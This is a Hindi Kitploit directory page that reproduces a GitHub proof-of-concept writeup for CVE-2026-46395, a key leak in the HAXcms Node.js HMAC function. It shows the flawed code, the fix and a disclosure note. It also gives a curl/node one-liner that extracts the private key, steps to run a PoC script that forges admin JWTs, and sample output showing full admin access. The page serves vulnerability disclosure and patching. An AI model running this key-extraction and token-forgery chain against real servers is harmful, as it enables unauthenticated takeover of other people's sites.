Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-46395-haxcms-hmac-key-leak — CVE-2026-46395 के लिए PoC और writeup: HAXcms Node.js में टूटे हुए HMAC के माध्यम से अनधिकृत निजी कुंजी प्रकटीकरण (CWE-321/CWE-200)। केवल अधिकृत सुरक्षा अनुसंधान के लिए। | Kitploit
उपकरण/GitHubGitHub/shreyas-challa/cve-2026-46395-haxcms-hmac-key-leak
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणक्रिप्टोग्राफीपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubshreyas-challa/cve-2026-46395-haxcms-hmac-key-leak

CVE-2026-46395-haxcms-hmac-key-leak

CVE-2026-46395 के लिए PoC और writeup: HAXcms Node.js में टूटे हुए HMAC के माध्यम से अनधिकृत निजी कुंजी प्रकटीकरण (CWE-321/CWE-200)। केवल अधिकृत सुरक्षा अनुसंधान के लिए।

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें
2 महीने पहलेअभी तक समीक्षित नहीं

CVE-2026-46395 - HAXcms Node.js निजी कुंजी प्रकटीकरण दोषपूर्ण HMAC के माध्यम से (CWE-321 / CWE-200)

केवल अधिकृत सुरक्षा परीक्षण और अनुसंधान के लिए प्रूफ-ऑफ-कॉन्सेप्ट। यहां वर्णित भेद्यता HAXcms के नवीनतम रिलीज़ में ठीक कर दी गई है। यह PoC इसलिए प्रकाशित किया गया है ताकि डिफेंडर और शोधकर्ता उन अनपैच्ड इंस्टेंसों पर समस्या की पुष्टि कर सकें जो उनके स्वामित्व में हैं या जिनके परीक्षण के लिए वे स्पष्ट रूप से अधिकृत हैं।

CVECVE-2026-46395
घटकHAXcms Node.js बैकएंड - haxcms-nodejs/src/lib/HAXCMS.js
भेद्यताहार्ड-कोडेड क्रिप्टो कुंजी + निजी कुंजी का प्रकटीकरण (CWE-321, CWE-200)
गंभीरतागंभीर - CVSS 3.1 9.8
हमलाबिना प्रमाणीकरण, एक HTTP अनुरोध, कोई उपयोगकर्ता इंटरैक्शन नहीं
स्थितिअपस्ट्रीम में ठीक किया गया। पैच से पहले के रिलीज़ को प्रभावित करता है।
परियोजनाelmsln/HAXcms
रिपोर्टकर्ताShreyas Challa ([email protected])

सारांश

HAXcms Node.js बैकएंड (src/lib/HAXCMS.js:2158-2163) में hmacBase64() में दो क्रिप्टोग्राफ़िक त्रुटियाँ हैं, जो मिलकर किसी भी बिना प्रमाणीकरण वाले हमलावर को सर्वर के मास्टर साइनिंग सीक्रेट (privateKey + salt) को पुनर्प्राप्त करने और एडमिन-स्तर के JWT जाली बनाने की अनुमति देती हैं।

root@kitploit:~
// HAXCMS.js:2158-2163 - VULNERABLE
hmacBase64(data, key) {
  var buf1 = crypto.createHmac("sha256", "0").update(data).digest();  // BUG 1: key hardcoded to "0"
  var buf2 = Buffer.from(key);                                        // BUG 2: the real key...
  return Buffer.concat([buf1, buf2]).toString('base64')               // ...is appended to the output
    .replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
}
  • बग 1 - हार्ड-कोडेड HMAC कुंजी: key के बजाय साइनिंग कुंजी के रूप में शाब्दिक "0" का उपयोग किया जाता है, इसलिए HMAC कोई गोपनीयता प्रदान नहीं करता।
  • बग 2 - कुंजी आउटपुट में लीक होती है: असली key (सिस्टम का privateKey + salt) डाइजेस्ट के साथ जोड़ दिया जाता है और लौटाए गए टोकन में base64-एन्कोडेड हो जाता है।

इसलिए प्रत्येक टोकन की संरचना इस प्रकार है:

root@kitploit:~
base64url( [32 bytes: HMAC-SHA256 keyed with "0"] [N bytes: privateKey+salt IN PLAINTEXT] )

हमलावर किसी भी टोकन को base64-डिकोड करता है, पहले 32 बाइट्स को हटा देता है, और निजी कुंजी को सीधे पढ़ लेता है। /system/api/connectionSettings एंडपॉइंट JWT स्किप सूची (src/app.js) में है और बिना प्रमाणीकरण के इनमें से कई टोकन लौटाता है, इसलिए एक अकेला GET अनुरोध कुंजी को उजागर कर देता है।

PHP बैकएंड (HAXCMS.php:1619-1631) इसे सही ढंग से लागू करता है (वास्तविक कुंजी के साथ कुंजीबद्ध, केवल डाइजेस्ट लौटाता है → 44-वर्ण वाले टोकन)। टूटा हुआ Node.js संस्करण 139+ वर्णों वाले टोकन उत्सर्जित करता है - एक स्पष्ट संकेत कि अतिरिक्त डेटा एम्बेडेड है।

प्रभाव

एक अकेला बिना प्रमाणीकरण वाला अनुरोध पूर्ण समझौता कर देता है:

  1. निजी कुंजी निकालें - GET /system/api/connectionSettings, किसी भी टोकन को base64-डिकोड करें, पहले 32 बाइट्स हटाएँ।
  2. एडमिन JWT जाली बनाएं - jwt.sign(payload, privateKey+salt)।
  3. अनुरोध टोकन जाली बनाएं - user_token, form_token आदि की पुनर्गणना करें।
  4. पूर्ण एडमिन पहुंच - साइट बनाना/संशोधित करना/हटाना, फ़ाइलें अपलोड करना, सामग्री बदलना।

यह एडमिन द्वारा मजबूत पासवर्ड सेट करने के बाद भी काम करता है, और जाली टोकन लॉग में कोई लॉगिन ईवेंट उत्पन्न नहीं करते।

PoC चलाना

poc_hmac_key_leak.js चालू इंस्टेंस के विरुद्ध पूरी श्रृंखला को एंड-टू-एंड निष्पादित करता है और प्रत्येक चरण को विस्तार से प्रिंट करता है: टोकन प्राप्त करें → कुंजी निकालें → कुंजी सत्यापित करें → JWT जाली बनाएं → अनुरोध टोकन जाली बनाएं → एक प्रमाणित एंडपॉइंट कॉल करें → लेखन पहुंच साबित करने के लिए एक साइट बनाएं।

आवश्यक शर्तें

  • Node.js 16+
  • एक चालू HAXcms Node.js इंस्टेंस जिसका परीक्षण करने के लिए आप अधिकृत हैं

स्थानीय परीक्षण इंस्टेंस तैयार करें:

root@kitploit:~
git clone https://github.com/elmsln/HAXcms.git
cd HAXcms/haxcms-nodejs && npm install
node src/app.js            # serves on http://localhost:3000

PoC इंस्टॉल करें और चलाएं

root@kitploit:~
git clone https://github.com/shreyas-challa/CVE-2026-46395-haxcms-hmac-key-leak.git
cd CVE-2026-46395-haxcms-hmac-key-leak
npm install                # pulls jsonwebtoken (used for JWT forgery)
node poc_hmac_key_leak.js http://localhost:3000

यदि jsonwebtoken इंस्टॉल नहीं है, तो PoC फिर भी कुंजी को निकालता है और सत्यापित करता है, और केवल JWT-जालसाजी के चरणों को छोड़ देता है।

मैन्युअल वन-लाइनर (केवल कुंजी निष्कर्षण)

root@kitploit:~
TOKEN=$(curl -s http://localhost:3000/system/api/connectionSettings \
  | grep -o '"token":"[^"]*"' | head -1 | cut -d'"' -f4)

node -e "const t='$TOKEN'.replace(/-/g,'+').replace(/_/g,'/');
         console.log('Leaked key:', Buffer.from(t,'base64').slice(32).toString('utf8'));"

नमूना आउटपुट

root@kitploit:~
STEP 1: Fetch /system/api/connectionSettings (NO AUTH)
  token length: 139 chars (a correct HMAC token is ~44)

STEP 2: Extract the private key from the token
  Bytes 32+ (privateKey + salt in PLAINTEXT):
    4b399844-...-...-db022bc6-fa42-4dae-a74e-4eb52a53461b
  RESULT: Private key successfully extracted!

STEP 3: MATCH - extracted key is correct.
STEP 4: Forged JWT (user=admin) ...
STEP 7: SITE CREATED SUCCESSFULLY - full admin access confirmed.

सुधार

टूटे हुए फ़ंक्शन को एक सही कुंजीबद्ध HMAC से बदलें जो केवल डाइजेस्ट लौटाता है:

root@kitploit:~
hmacBase64(data, key) {
  return crypto.createHmac("sha256", key)   // use the real key
    .update(data)
    .digest('base64')                        // return ONLY the hash
    .replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
}

पैच लगाने के बाद:

  1. सभी मौजूदा JWT/टोकन अमान्य कर दिए जाते हैं (अपेक्षित) - उपयोगकर्ता पुनः प्रमाणित होते हैं।
  2. प्रत्येक तैनात इंस्टेंस पर privateKey और salt को रोटेट करें - पहले जारी किया गया कोई भी टोकन पुरानी कुंजी को सादे पाठ में समाहित करता है (HTTP प्रतिक्रियाओं, लॉग और ब्राउज़र इतिहास में)।

नवीनतम HAXcms रिलीज़ में अपडेट करें, जिसमें अपस्ट्रीम सुधार शामिल है।

जिम्मेदार प्रकटीकरण

यह समस्या HAXcms अनुरक्षकों को रिपोर्ट की गई थी और प्रकाशन से पहले ठीक कर दी गई थी। PoC केवल पैच उपलब्ध होने के बाद जारी किया गया है। इसे केवल उन्हीं सिस्टमों के विरुद्ध उपयोग करें जिनके आप स्वामी हैं या जिनके परीक्षण के लिए आप स्पष्ट रूप से अधिकृत हैं।

कानूनी / अधिकृत-उपयोग सूचना

यह सामग्री रक्षात्मक अनुसंधान, शिक्षा और अधिकृत सुरक्षा परीक्षण के लिए प्रदान की गई है। स्पष्ट अनुमति के बिना सिस्टमों के विरुद्ध इसे चलाना अवैध हो सकता है। परीक्षण से पहले सभी लागू कानूनों का पालन करना और प्राधिकरण प्राप्त करना पूरी तरह आपकी ज़िम्मेदारी है। बिना किसी वारंटी के "as is" प्रदान किया गया है (देखें LICENSE)।

टूल डाउनलोड करें